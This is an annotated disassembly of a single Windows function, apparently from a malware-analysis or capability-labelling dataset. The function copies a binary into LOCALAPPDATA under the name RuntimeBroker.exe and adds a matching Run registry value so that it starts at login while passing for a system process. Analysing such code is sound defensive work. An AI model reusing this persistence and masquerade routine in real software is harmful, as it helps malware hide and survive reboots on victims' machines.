Function at 0x40c7b0
Capabilities:
Move file
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48c5cb
mov eax, dword fs:[0]
push eax
sub esp, 0x160
mov eax, dword [0x4ad3b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x160], esi
mov eax, dword [0x48d9ac]
movups xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRun_]
mov dword [ebp - 0x18], eax
mov ax, word [0x48d9b0]
mov word [ebp - 0x14], ax
mov al, byte [0x48d9b2]
movups xmmword [ebp - 0x40], xmm0
mov byte [ebp - 0x12], al
lea eax, [ebp - 0x16c]
movups xmm0, xmmword [0x48d994]
push str.LOCALAPPDATA
push eax
movups xmmword [ebp - 0x30], xmm0
lea eax, [ebp - 0x164]
movq xmm0, qword [0x48d9a4]
push eax
movq qword [ebp - 0x20], xmm0
call fcn.0046b94b
mov edx, dword [ebp - 0x164]
add esp, 0xc
mov ecx, edx
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x15c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c870
sub ecx, dword [ebp - 0x15c]
push ecx
push edx
lea ecx, [ebp - 0x158]
call fcn.00403900
push 0x1b
push str.PackagesRuntimeBroker.exe
lea ecx, [ebp - 0x158]
mov dword [ebp - 4], 0
call fcn.004034a0
cmp dword [ebp - 0x144], 0x10
lea eax, [ebp - 0x158]
cmovae eax, dword [ebp - 0x158]
cmp dword [edi + 0x14], 0x10
jb 0x40c8bf
mov edi, dword [edi]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x40c9f3
push 0
lea eax, [ebp - 0x168]
push eax
push 0
push 0x20006
push 1
push 0
push 0
lea eax, [ebp - 0x40]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40ca0e
push dword [ebp - 0x148]
cmp dword [ebp - 0x144], 0x10
lea eax, [ebp - 0x158]
cmovae eax, dword [ebp - 0x158]
push eax
push 1
push 0
push str.RuntimeBroker
push dword [ebp - 0x168]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40ca29
lea eax, [ebp - 0x160]
mov dword [ebp - 0x160], 0xff
push eax
lea eax, [ebp - 0x140]
push eax
push 0
push 0xffff
push str.RuntimeBroker
lea eax, [ebp - 0x40]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x40ca44
lea ecx, [ebp - 0x140]
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [esi], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c984
sub ecx, edx
lea eax, [ebp - 0x140]
push ecx
push eax
mov ecx, esi
call fcn.00403900
mov edx, dword [ebp - 0x144]
cmp edx, 0x10
jb 0x40c9d6
mov ecx, dword [ebp - 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c9cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ca5f
push edx
push ecx
call fcn.00464706
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00464714
mov esp, ebp
pop ebp
ret
push 0x4aa5e4
lea eax, [ebp - 0x15c]
mov dword [ebp - 0x15c], str.Move_file_error
push eax
call fcn.00465f5b
push 0x4aa5e4
lea eax, [ebp - 0x15c]
mov dword [ebp - 0x15c], str.RegCreate_error
push eax
call fcn.00465f5b
push 0x4aa5e4
lea eax, [ebp - 0x15c]
mov dword [ebp - 0x15c], str.RegSet_error
push eax
call fcn.00465f5b
push 0x4aa5e4
lea eax, [ebp - 0x15c]
mov dword [ebp - 0x15c], str.RegGet_error
push eax
call fcn.00465f5b
call fcn.00469dba
int3